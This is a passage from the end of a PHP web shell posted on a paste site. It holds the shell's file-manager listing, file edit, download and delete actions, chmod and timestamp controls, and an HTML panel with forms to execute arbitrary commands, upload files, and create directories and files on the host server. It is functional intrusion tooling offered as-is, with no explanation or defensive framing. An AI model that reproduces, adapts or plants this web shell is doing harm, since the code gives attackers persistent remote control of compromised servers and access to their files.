  679.      if (@is_link($v)) {$type = "LINK";}
  680.      else {$type = "DIR";}
  681.      $row[] = $v;
  682.      $row[] = $type;
  683.     }
  684.     elseif(@is_file($v)) {$row[] = $v; $row[] = @filesize($v);}
  685.     $row[] = @filemtime($v);
  686.     if (!$win)
  687.     {
  688.      $ow = @posix_getpwuid(@fileowner($v));
  689.      $gr = @posix_getgrgid(@filegroup($v));
  690.      $row[] = ($ow["name"]?$ow["name"]:@fileowner($v))."/".($gr["name"]?$gr["name"]:@filegroup($v));
  691.     }
  692.     $row[] = @fileperms($v);
  693.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  694.     elseif (@is_link($v)) {$objects["links"][] = $row;}
  695.     elseif (@is_dir($v)) {$objects["folders"][] = $row;}
  696.     elseif (@is_file($v)) {$objects["files"][] = $row;}
  697.     $i++;
  698.    }
  699.    $row = array();
  700.    $row[] = "<b>Name</b>";
  701.    $row[] = "<b>Size</b>";
  702.    $row[] = "<b>Modify</b>";
  703.    if (!$win)
  704.   {$row[] = "<b>Owner/Group</b>";}
  705.    $row[] = "<b>Perms</b>";
  706.    $row[] = "<b>Action</b>";
  707.    $parsesort = parsesort($sort);
  708.    $sort = $parsesort[0].$parsesort[1];
  709.    $k = $parsesort[0];
  710.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  711.    $y = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$k.($parsesort[1] == "a"?"d":"a").";document.todo.submit();\">";
  712.    $row[$k] .= $y;
  713.    for($i=0;$i<count($row)-1;$i++)
  714.    {
  715.     if ($i != $k) {$row[$i] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode($d)."';document.todo.sort.value='".$i.$parsesort[1]."';document.todo.submit();\">".$row[$i]."</a>";}
  716.    }
  717.    $v = $parsesort[0];
  718.    usort($objects["folders"], "tabsort");
  719.    usort($objects["links"], "tabsort");
  720.    usort($objects["files"], "tabsort");
  721.    if ($parsesort[1] == "d")
  722.    {
  723.     $objects["folders"] = array_reverse($objects["folders"]);
  724.     $objects["files"] = array_reverse($objects["files"]);
  725.    }
  726.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  727.    $tab = array();
  728.    $tab["cols"] = array($row);
  729.    $tab["head"] = array();
  730.    $tab["folders"] = array();
  731.    $tab["links"] = array();
  732.    $tab["files"] = array();
  733.    $i = 0;
  734.    foreach ($objects as $a)
  735.    {
  736.     $v = $a[0];
  737.     $o = basename($v);
  738.     $dir = dirname($v);
  739.     if ($disp_fullpath) {$disppath = $v;}
  740.     else {$disppath = $o;}
  741.     $disppath = str2mini($disppath,60);
  742.  
  743.     $uo = urlencode($o);
  744.     $ud = urlencode($dir);
  745.     $uv = urlencode($v);
  746.     $row = array();
  747.     if ($o == ".")
  748.     {
  749.      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
  750.      $row[] = "LINK";
  751.     }
  752.     elseif ($o == "..")
  753.     {
  754.      $row[] = "<a href=\"#\" onclick=\"document.todo.act.value='".$dspact."';document.todo.d.value='".urlencode(@realpath($d.$o))."';document.todo.sort.value='".$sort."';document.todo.submit();\">".$o."</a>";
  755.      $row[] = "LINK";
  756.     }
  757.     elseif (is_dir($v))
  758.     {
  759.      if (is_link($v))
  760.      {
  761.       $disppath .= " => ".readlink($v);
  762.       $type = "LINK";
  763.       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";         }
  764.      else
  765.      {
  766.       $type = "DIR";
  767.       $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".$uv."';document.todo.sort.value='".$sort."';document.todo.submit();\">[".$disppath."]</a>";
  768.      }
  769.      $row[] = $type;
  770.     }
  771.     elseif(is_file($v))
  772.     {
  773.      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.d.value='".$ud."';document.todo.ft.value='edit';document.todo.f.value='".$uo."';document.todo.submit();\">".$disppath."</a>";
  774.      $row[] = view_size($a[1]);
  775.     }
  776.     $row[] = '<a href="#" onclick="document.todo.act.value=\'touch\';document.todo.d.value=\''.$ud.'\';document.todo.f.value=\''.$uo.'\';document.todo.submit();">'.@date("d.m.Y H:i:s",$a[2]).'</a>';
  777.     if (!$win) {$row[] = $a[3];}
  778.      $row[] =  "&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='chmod';document.todo.d.value='".$ud."';document.todo.f.value='".$uo."';document.todo.submit();\"><b>".view_perms_color($v)."</b></a>";
  779.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  780.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  781.     if (@is_dir($v)){$row[] = $checkbox;}
  782.     else {$row[] = "<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='edit';document.todo.d.value='".$ud."';document.todo.submit();\">E</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">D</a>&nbsp;<a href=\"#\" onclick=\"document.todo.act.value='delete';document.todo.f.value='".$uo."';document.todo.ft.value='download';document.todo.d.value='".$ud."';document.todo.submit();\">X</a>&nbsp;".$checkbox;}
  783.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  784.     elseif (@is_link($v)) {$tab["links"][] = $row;}
  785.     elseif (@is_dir($v)) {$tab["folders"][] = $row;}
  786.     elseif (@is_file($v)) {$tab["files"][] = $row;}
  787.     $i++;
  788.    }
  789.   }
  790.   //Compiling table
  791.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  792.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  793.   foreach($table as $row)
  794.   {
  795.    echo "<tr>\r\n";
  796.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  797.    echo "</tr>\r\n";
  798.   }
  799.   echo "</table><hr size=\"1\" noshade>";
  800.   echo "<select name=act><option value=\"".$act."\">With selected:</option>";
  801.   echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
  802.   echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
  803.   echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
  804.   echo "</form>";
  805.  }
  806. }
  807.  
  808. if ($act == "f")
  809. {
  810.  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
  811.  {
  812.   if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  813.   else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"#\" onclick=\"document.todo.act.value='f';document.todo.f.value='".urlencode($f)."';document.todo.ft.value='edit';document.todo.c.value='1';document.todo.d.value='".urlencode($d)."';document.todo.submit();\"><u>Create</u></a></center>";}
  814.  }
  815.  else
  816.  {
  817.   $r = @file_get_contents($d.$f);
  818.   echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;".$f." (".view_size(@filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>";
  819.    echo "<hr size=\"1\" noshade>";
  820.  if ($ft == "download")
  821.   {
  822.   }  elseif ($ft == "edit") {
  823.     if (!empty($submit)) {
  824.         if(save_file($d.$f, $edit_text)) {
  825.             echo('<b>Saved!</b>');
  826.         } else {
  827.             echo('<b>Can\'t write to file!</b>');
  828.         }
  829.         $r = $edit_text;
  830.    }
  831.    echo "<form method=\"POST\"><input name='act' type='hidden' value='f'><input name='f' type='hidden' value='".urlencode($f)."'><input name='ft' type='hidden' value='edit'><input name='d' type='hidden' value='".urlencode($d)."'><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"document.todo.act.value='ls';document.todo.d.value='".addslashes(substr($d,0,-1))."';document.todo.submit();\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"180\" rows=\"25\">".htmlspecialchars($r)."</textarea></form>";
  832.   }
  833.  }
  834. }
  835. ?>
  836. </td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  837.  
  838. <tr><td width="50%" height="1" valign="top"><center><b>Enter</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Upl</b><form method="POST" name="tod" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="file" name="uploadfile"><input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td></tr></TABLE>
  839. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>Make Dir</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>Make File</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  840. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table>
  841. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"></p></td></tr></table>
  842. </body></html><?php chdir($lastdir);
  843. ?>
Add Comment
Please, Sign In to add comment